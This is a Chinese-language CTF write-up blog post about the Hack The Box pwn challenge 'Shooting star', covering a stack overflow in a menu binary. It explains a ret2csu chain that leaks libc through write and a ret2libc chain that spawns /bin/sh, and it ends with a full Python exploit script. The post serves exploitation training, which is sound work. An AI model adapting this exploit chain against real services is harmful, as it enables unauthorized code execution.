selph
selph
Published on 2024-10-31 / 38 Visits
0
0

每日一练7:[HTB]Shooting star

前言

今天是一个基础题目,栈溢出的ret2csu技巧

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第7天,累了就做简单的查缺补漏,精力好就挑战困难丰富经验

题目情况

Tired of exploring the never-ending world, you lie down and enjoy the crystal clear sky. Over a million stars above your head! Enjoy the silence and the glorious stars while you rest.

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

无Canary,无PIE,疑似栈溢出或者格式化字符串

逆向分析

运行:

Shooting star ➤ ./shooting_star
🌠 A shooting star!!
1. Make a wish!
2. Stare at the stars.
3. Learn about the stars.
> 3
A star is an astronomical object consisting of a luminous spheroid of plasma held together by its own gravity. The nearest star to Earth is the Sun. Many other stars are visible to the naked eye from Earth during the night, appearing as a multitude of fixed luminous points in the sky due to their immense distance from Earth. Historically, the most prominent stars were grouped into constellations and asterisms, the brightest of which gained proper names. Astronomers have assembled star catalogues that identify the known stars and provide standardized stellar designations.

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  write(1, "馃尃 A shooting star!!\n1. Make a wish!\n2. Stare at the stars.\n3. Learn about the stars.\n> ", 0x5BuLL);
  return star();
}
ssize_t star()
{
  ssize_t result; // rax
  char buf[2]; // [rsp+Eh] [rbp-42h] BYREF
  char v2[64]; // [rsp+10h] [rbp-40h] BYREF

  read(0, buf, 2uLL);
  if ( buf[0] == '1' )
  {
    write(1, &unk_402008, 3uLL);
    read(0, v2, 0x200uLL);                      // 栈溢出
    return write(1, "\nMay your wish come true!\n", 0x1AuLL);
  }
  else if ( buf[0] == '2' )
  {
    return write(1, "Isn't the sky amazing?!\n", 0x18uLL);
  }
  else
  {
    result = (unsigned __int8)buf[0];
    if ( buf[0] == '3' )
      return write(
               1,
               "A star is an astronomical object consisting of a luminous spheroid of plasma held together by its own gra"
               "vity. The nearest star to Earth is the Sun. Many other stars are visible to the naked eye from Earth duri"
               "ng the night, appearing as a multitude of fixed luminous points in the sky due to their immense distance "
               "from Earth. Historically, the most prominent stars were grouped into constellations and asterisms, the br"
               "ightest of which gained proper names. Astronomers have assembled star catalogues that identify the known "
               "stars and provide standardized stellar designations.\n",
               0x242uLL);
  }
  return result;
}

菜单题目,漏洞是栈溢出,read到v2有0x200字节,v2缓冲区大小只有0x40字节,会溢出

触发溢出的流程是,选项1,然后输入0x48字节垃圾数据

利用分析

无Canary,栈溢出,无PIE,程序无后门函数,通常这种时候打ret2libc,我需要泄露libc地址,没有puts函数,没法puts(got.puts)来完成

ret2csu

这个程序编译里有csu代码gadgets,提供了2个代码片段:

.text:00000000004012A8                 mov     rdx, r14
.text:00000000004012AB                 mov     rsi, r13
.text:00000000004012AE                 mov     edi, r12d
.text:00000000004012B1                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004012B5                 add     rbx, 1
.text:00000000004012B9                 cmp     rbp, rbx
.text:00000000004012BC                 jnz     short loc_4012A8
.text:00000000004012BE
.text:00000000004012BE loc_4012BE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004012BE                 add     rsp, 8
.text:00000000004012C2                 pop     rbx
.text:00000000004012C3                 pop     rbp
.text:00000000004012C4                 pop     r12
.text:00000000004012C6                 pop     r13
.text:00000000004012C8                 pop     r14
.text:00000000004012CA                 pop     r15
.text:00000000004012CC                 retn

可控rdi,rsi,rdx,三个掌管函数参数的寄存器

第一次溢出,通过csu的gadgets来调用write函数去泄露libc地址:

sla(b"> ",b"1")

csu0 = 0x4012A8
csu1 = 0x4012C2
fini = 0x403E18
star = 0x401142
payload = cyclic(0x48) + pack(csu1) + flat(
    pack(0),
    pack(1),
    pack(1),
    pack(elf.got.write),
    pack(0x8),
    pack(fini)
) + pack(csu0) + pack(0)*7 + pack(elf.sym.write) +pack(elf.sym.star)
sl(payload)
ru(b"true!\n")
leak = r(8)
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak addr: {hex(leak)}")

#libc.address = leak - libc.sym.write
libc.address = leak -0x110210
success(f"libc addr: {hex(libc.address)}")

ret2libc

程序没有提供libc版本,通过libc database(libc-database)查询发现疑似2.27版本,用2.27的偏移进行操作

接下来就是调用system函数执行binsh了:

pop_rdi_ret = 0x00000000004012cb
#system = libc.sym.system
system = libc.address + 0x4f550
#binsh = next(libc.search(b"/bin/sh"))
binsh = libc.address + 0x1b3e1a


payload = cyclic(0x48) + pack(pop_rdi_ret) + pack(binsh) + pack(system)
sl(b"1")
sl(payload)

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

"""
.text:00000000004012A8                 mov     rdx, r14
.text:00000000004012AB                 mov     rsi, r13
.text:00000000004012AE                 mov     edi, r12d
.text:00000000004012B1                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004012B5                 add     rbx, 1
.text:00000000004012B9                 cmp     rbp, rbx
.text:00000000004012BC                 jnz     short loc_4012A8
.text:00000000004012BE
.text:00000000004012BE loc_4012BE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004012BE                 add     rsp, 8
.text:00000000004012C2                 pop     rbx      ;
.text:00000000004012C3                 pop     rbp      ;
.text:00000000004012C4                 pop     r12      ;   rdi
.text:00000000004012C6                 pop     r13      ;   rsi
.text:00000000004012C8                 pop     r14      ;   rdx
.text:00000000004012CA                 pop     r15      ;
.text:00000000004012CC                 retn  

0x00000000004012cb : pop rdi ; ret
"""


sla(b"> ",b"1")

csu0 = 0x4012A8
csu1 = 0x4012C2
fini = 0x403E18
star = 0x401142
payload = cyclic(0x48) + pack(csu1) + flat(
    pack(0),
    pack(1),
    pack(1),
    pack(elf.got.write),
    pack(0x8),
    pack(fini)
) + pack(csu0) + pack(0)*7 + pack(elf.sym.write) +pack(elf.sym.star)
sl(payload)
ru(b"true!\n")
leak = r(8)
leak = u64(leak.ljust(8, b"\x00"))
success(f"leak addr: {hex(leak)}")

#libc.address = leak - libc.sym.write
libc.address = leak -0x110210
success(f"libc addr: {hex(libc.address)}")

# second overflow

pop_rdi_ret = 0x00000000004012cb
#system = libc.sym.system
system = libc.address + 0x4f550
#binsh = next(libc.search(b"/bin/sh"))
binsh = libc.address + 0x1b3e1a


payload = cyclic(0x48) + pack(pop_rdi_ret) + pack(binsh) + pack(system)
sl(b"1")
sl(payload)

ia()

总结

栈溢出,ret2csu技巧,在有csu存在的场景下要考虑去使用csu!

参考资料


Comment